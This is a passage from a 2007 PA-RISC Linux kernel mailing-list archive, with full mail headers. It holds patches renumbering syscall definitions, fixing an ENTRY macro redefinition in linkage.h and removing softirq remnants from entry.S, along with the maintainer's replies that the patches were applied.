+__SYSCALL_COMP(__NR_timer_settime, timer_settime)
+#define __NR_timer_gettime		(__NR_Linux + 252)
+__SYSCALL_COMP(__NR_timer_gettime, timer_gettime)
+#define __NR_timer_getoverrun		(__NR_Linux + 253)
+__SYSCALL_SAME(__NR_timer_getoverrun, timer_getoverrun)
+#define __NR_timer_delete		(__NR_Linux + 254)
+__SYSCALL_SAME(__NR_timer_delete, timer_delete)
+#define __NR_clock_settime		(__NR_Linux + 255)
+__SYSCALL_COMP(__NR_clock_settime, clock_settime)
+
+#define __NR_clock_gettime		(__NR_Linux + 256)
+__SYSCALL_COMP(__NR_clock_gettime, clock_gettime)
+#define __NR_clock_getres		(__NR_Linux + 257)
+__SYSCALL_COMP(__NR_clock_getres, clock_getres)
+#define __NR_clock_nanosleep		(__NR_Linux + 258)
+__SYSCALL_COMP(__NR_clock_nanosleep, clock_nanosleep)
+#define __NR_tgkill			(__NR_Linux + 259)
+__SYSCALL_SAME(__NR_tgkill, tgkill)
+#define __NR_mbind			(__NR_Linux + 260)
+__SYSCALL_COMP(__NR_mbind, mbind)
+#define __NR_get_mempolicy		(__NR_Linux + 261)
+__SYSCALL_COMP(__NR_get_mempolicy, get_mempolicy)
+#define __NR_set_mempolicy		(__NR_Linux + 262)
+__SYSCALL_COMP(__NR_set_mempolicy, set_mempolicy)
+#define __NR_vserver			(__NR_Linux + 263)	/* reserved for vserver */
+__SYSCALL_SAME(__NR_vserver, ni_syscall)
+
+#define __NR_add_key			(__NR_Linux + 264)
+__SYSCALL_SAME(__NR_add_key, add_key)
+#define __NR_request_key		(__NR_Linux + 265)
+__SYSCALL_SAME(__NR_request_key, request_key)
+#define __NR_keyctl			(__NR_Linux + 266)
+__SYSCALL_SAME(__NR_keyctl, keyctl)
+#define __NR_ioprio_set			(__NR_Linux + 267)
+__SYSCALL_SAME(__NR_ioprio_set, ioprio_set)
+#define __NR_ioprio_get			(__NR_Linux + 268)
+__SYSCALL_SAME(__NR_ioprio_get, ioprio_get)
+#define __NR_inotify_init		(__NR_Linux + 269)
+__SYSCALL_SAME(__NR_inotify_init, inotify_init)
+#define __NR_inotify_add_watch		(__NR_Linux + 270)
+__SYSCALL_SAME(__NR_inotify_add_watch, inotify_add_watch)
+#define __NR_inotify_rm_watch		(__NR_Linux + 271)
+__SYSCALL_SAME(__NR_inotify_rm_watch, inotify_rm_watch)
+
+#define __NR_migrate_pages		(__NR_Linux + 272)
+__SYSCALL_SAME(__NR_migrate_pages, migrate_pages)
+#define __NR_pselect6			(__NR_Linux + 273)
+__SYSCALL_COMP(__NR_pselect6, pselect6)
+#define __NR_ppoll			(__NR_Linux + 274)
+__SYSCALL_COMP(__NR_ppoll, ppoll)
+#define __NR_openat			(__NR_Linux + 275)
+__SYSCALL_COMP(__NR_openat, openat)
+#define __NR_mkdirat			(__NR_Linux + 276)
+__SYSCALL_SAME(__NR_mkdirat, mkdirat)
+#define __NR_mknodat			(__NR_Linux + 277)
+__SYSCALL_SAME(__NR_mknodat, mknodat)
+#define __NR_fchownat			(__NR_Linux + 278)
+__SYSCALL_SAME(__NR_fchownat, fchownat)
+#define __NR_futimesat			(__NR_Linux + 279)
+__SYSCALL_COMP(__NR_futimesat, futimesat)
+
+#define __NR_fstatat64			(__NR_Linux + 280)
+__SYSCALL_SAME(__NR_fstatat64, fstatat64)
+#define __NR_unlinkat			(__NR_Linux + 281)
+__SYSCALL_SAME(__NR_unlinkat, unlinkat)
+#define __NR_renameat			(__NR_Linux + 282)
+__SYSCALL_SAME(__NR_renameat, renameat)
+#define __NR_linkat			(__NR_Linux + 283)
+__SYSCALL_SAME(__NR_linkat, linkat)
+#define __NR_symlinkat			(__NR_Linux + 284)
+__SYSCALL_SAME(__NR_symlinkat, symlinkat)
+#define __NR_readlinkat			(__NR_Linux + 285)
+__SYSCALL_SAME(__NR_readlinkat, readlinkat)
+#define __NR_fchmodat			(__NR_Linux + 286)
+__SYSCALL_SAME(__NR_fchmodat, fchmodat)
+#define __NR_faccessat			(__NR_Linux + 287)
+__SYSCALL_SAME(__NR_faccessat, faccessat)
+
+#define __NR_unshare			(__NR_Linux + 288)
+__SYSCALL_SAME(__NR_unshare, unshare)
+#define __NR_set_robust_list		(__NR_Linux + 289)
+__SYSCALL_COMP(__NR_set_robust_list, set_robust_list)
+#define __NR_get_robust_list		(__NR_Linux + 290)
+__SYSCALL_COMP(__NR_get_robust_list, get_robust_list)
+#define __NR_splice			(__NR_Linux + 291)
+__SYSCALL_SAME(__NR_splice, splice)
+#define __NR_sync_file_range		(__NR_Linux + 292)
+__SYSCALL_OURS(__NR_sync_file_range, sync_file_range)
+#define __NR_tee			(__NR_Linux + 293)
+__SYSCALL_SAME(__NR_tee, tee)
+#define __NR_vmsplice			(__NR_Linux + 294)
+__SYSCALL_COMP(__NR_vmsplice, vmsplice)
+#define __NR_move_pages			(__NR_Linux + 295)
+__SYSCALL_COMP(__NR_move_pages, move_pages)
+
+#define __NR_getcpu			(__NR_Linux + 296)
+__SYSCALL_SAME(__NR_getcpu, getcpu)
+#define __NR_epoll_pwait		(__NR_Linux + 297)
+__SYSCALL_SAME(__NR_epoll_pwait, epoll_pwait)
+#define __NR_statfs64			(__NR_Linux + 298)
+__SYSCALL_COMP(__NR_statfs64, statfs64)
+#define __NR_fstatfs64			(__NR_Linux + 299)
+__SYSCALL_COMP(__NR_fstatfs64, fstatfs64)
+#define __NR_kexec_load			(__NR_Linux + 300)
+__SYSCALL_COMP(__NR_kexec_load, kexec_load)
+#define __NR_utimensat			(__NR_Linux + 301)
+__SYSCALL_COMP(__NR_utimensat, utimensat)
+#define __NR_signalfd			(__NR_Linux + 302)
+__SYSCALL_COMP(__NR_signalfd, signalfd)
+#define __NR_timerfd			(__NR_Linux + 303)
+__SYSCALL_COMP(__NR_timerfd, timerfd)
+
+#define __NR_eventfd			(__NR_Linux + 304)
+__SYSCALL_SAME(__NR_eventfd, eventfd)
 
 
 #define __IGNORE_select		/* newselect */
 #define __IGNORE_fadvise64	/* fadvise64_64 */
 #define __IGNORE_utimes		/* utime */
 
+#undef __SYSCALL_SAME
+#undef __SYSCALL_DIFF
+#undef __SYSCALL_UHOH
+#undef __SYSCALL_OURS
+#undef __SYSCALL_COMP
 
 #define HPUX_GATEWAY_ADDR       0xC0000004
 #define LINUX_GATEWAY_ADDR      0x100
@@ -973,8 +1328,6 @@ type name(type1 arg1, type2 arg2, type3 
 
 #endif /* __ASSEMBLY__ */
 
-#undef STR

From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix "ENTRY" redefinition between
	linkage.h and xattr.c
Date: Mon, 28 May 2007 18:01:39 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <200705281805.51615.deller__17666.9181943454$1416624376$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624376 24075 80.91.229.3 (22 Nov 2014 02:46:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 May 2007 16:06:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 28 May 2007 18:06:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B03807DE83;
	Mon, 28 May 2007 10:06:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31756-04; Mon, 28 May 2007 10:06:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8B2C7DE67;
	Mon, 28 May 2007 10:06:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3372C7DE52
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 10:05:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31756-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 10:05:56 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E4ADA7DE3A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 10:05:55 -0600 (MDT)
Original-Received: (qmail invoked by alias); 28 May 2007 16:05:54 -0000
Original-Received: from mnhm-590c0057.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.0.87]
	by mail.gmx.net (mp052) with SMTP; 28 May 2007 18:05:54 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jpExLnVbTlIvl7eQeGhrVn9GU2poZdkG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24599

[PATCH] fix "ENTRY" redefinition between linkage.h and xattr.c

Signed-off-by: Helge Deller <deller@gmx.de>

Thanks to James for noticing. It fixes:
fs/ext3/xattr.c:65:1: warning: "ENTRY" redefined
In file included from include/linux/linkage.h:4,
                 from include/linux/fs.h:271,
                 from fs/ext3/xattr.c:54:
include/asm/linkage.h:13:1: warning: this is the location of the previous definition



diff --git a/include/asm-parisc/linkage.h b/include/asm-parisc/linkage.h
index 7a09d91..cdb4709 100644
--- a/include/asm-parisc/linkage.h
+++ b/include/asm-parisc/linkage.h
@@ -10,6 +10,8 @@
  * In parisc assembly a semicolon marks a comment while a
  * exclamation mark is used to seperate independend lines.
  */
+#ifdef __ASSEMBLY__
+
 #define ENTRY(name) \
 	.export name !\
 	ALIGN !\
@@ -24,5 +26,6 @@ name:
 	END(name)
 #endif
 
+#endif /* __ASSEMBLY__ */
 
 #endif  /* __ASM_PARISC_LINKAGE_H */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] fix "ENTRY" redefinition between linkage.h and xattr.c
Date: Mon, 28 May 2007 12:22:14 -0400
Lines: 7
Approved: news@gmane.org
Message-ID: <20070528162214.GD16029__15885.3241628551$1416624376$gmane$org@fattire.cabal.ca>
References: <200705281805.51615.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624376 24337 80.91.229.3 (22 Nov 2014 02:46:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 May 2007 16:22:23 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx075) with SMTP; 28 May 2007 18:22:23 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EA98A58409A;
	Mon, 28 May 2007 12:22:14 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7D2B8584099;
	Mon, 28 May 2007 12:22:14 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 32EF0837DB; Mon, 28 May 2007 12:22:14 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705281805.51615.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 22g+B1B6fW4oieWveGVosyhmdmllcoVg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24600

On Mon, May 28, 2007 at 06:01:39PM +0200, Helge Deller wrote:
> [PATCH] fix "ENTRY" redefinition between linkage.h and xattr.c
> 

applied



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] fix section mismatch in smp.c
Date: Mon, 28 May 2007 12:22:20 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <20070528162220.GE16029__2258.3820195452$1416624376$gmane$org@fattire.cabal.ca>
References: <200705280026.03015.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624376 24341 80.91.229.3 (22 Nov 2014 02:46:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 May 2007 16:22:23 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx011) with SMTP; 28 May 2007 18:22:23 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 81C3558409B;
	Mon, 28 May 2007 12:22:21 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 16EFF584099;
	Mon, 28 May 2007 12:22:21 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CF6E4837DB; Mon, 28 May 2007 12:22:20 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705280026.03015.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jjN9blW3Li5n1PfRZWtptSBjZml1ZNg2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24601

On Mon, May 28, 2007 at 12:26:02AM +0200, Helge Deller wrote:
> [PARISC] fix section mismatch for smp_boot_one_cpu:
> WARNING: arch/parisc/kernel/built-in.o(.text.__cpu_up+0x20): Section mismatch: reference to .init.text:smp_boot_one_cpu (after '__cpu_up')
> 

applied



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH remove remnants of softirq
Date: Mon, 28 May 2007 16:31:59 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20070528223159.GC16928__1319.8223583915$1416624377$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624377 24345 80.91.229.3 (22 Nov 2014 02:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 May 2007 22:32:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 29 May 2007 00:32:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08CB17DEBC;
	Mon, 28 May 2007 16:32:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02345-01; Mon, 28 May 2007 16:32:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA4827DEB4;
	Mon, 28 May 2007 16:32:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAACF7DEB0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 16:32:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01554-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 16:32:07 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1303D7DEAF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 16:32:07 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 463CB4F8002;
	Mon, 28 May 2007 16:32:06 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30185-10; Mon, 28 May 2007 16:31:59 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D94EA4F8001; Mon, 28 May 2007 16:31:59 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: S29ucklJTiEth6yUaGRwbxp1ZUVSRJdh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24602

Kyle,

This patch removes remnants of softirq support that we no longer need.
I suspect this was just overlooked when willy convert parisc to generic
IRQ support.

Tested on c3600 32-bit UP.

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 8474f9e..98ae563 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -954,21 +954,6 @@ intr_return:
 	/* NOTE: Need to enable interrupts incase we schedule. */
 	ssm     PSW_SM_I, %r0
 
-	/* Check for software interrupts */
-
-	.import irq_stat,data
-
-	load32	irq_stat,%r19
-#ifdef CONFIG_SMP
-	mfctl   %cr30,%r1
-	ldw	TI_CPU(%r1),%r1 /* get cpu # - int */
-	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) amount
-	** irq_stat[] is defined using ____cacheline_aligned.
-	*/
-	SHLREG	%r1,L1_CACHE_SHIFT,%r20
-	add     %r19,%r20,%r19	/* now have &irq_stat[smp_processor_id()] */
-#endif /* CONFIG_SMP */
-
 intr_check_resched:
 
 	/* check for reschedule */
@@ -2055,24 +2040,6 @@ ENTRY(syscall_exit)
 	 */
 	loadgp
 
-syscall_check_bh:
-
-	/* Check for software interrupts */
-
-	.import irq_stat,data
-
-	load32	irq_stat,%r19
-
-#ifdef CONFIG_SMP
-	/* sched.h: int processor */
-	/* %r26 is used as scratch register to index into irq_stat[] */
-	ldw     TI_CPU-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r26 /* cpu # */
-
-	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) bits */
-	SHLREG	%r26,L1_CACHE_SHIFT,%r20
-	add     %r19,%r20,%r19	/* now have &irq_stat[smp_processor_id()] */
-#endif /* CONFIG_SMP */

From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PATCH remove remnants of softirq
Date: Tue, 29 May 2007 10:05:06 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20070529140506.GC10560__42486.4174951383$1416624377$gmane$org@fattire.cabal.ca>
References: <20070528223159.GC16928@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624377 24349 80.91.229.3 (22 Nov 2014 02:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2007 14:05:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 29 May 2007 16:05:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9DFB7DEC2;
	Tue, 29 May 2007 08:05:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08380-05; Tue, 29 May 2007 08:05:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8A227DEBE;
	Tue, 29 May 2007 08:05:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CF187DEBC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 08:05:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08380-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 08:05:07 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id C29597DEBB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 08:05:07 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E59AE58409A;
	Tue, 29 May 2007 10:05:06 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7DF4F584099;
	Tue, 29 May 2007 10:05:06 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 369D6837DB; Tue, 29 May 2007 10:05:06 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070528223159.GC16928@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
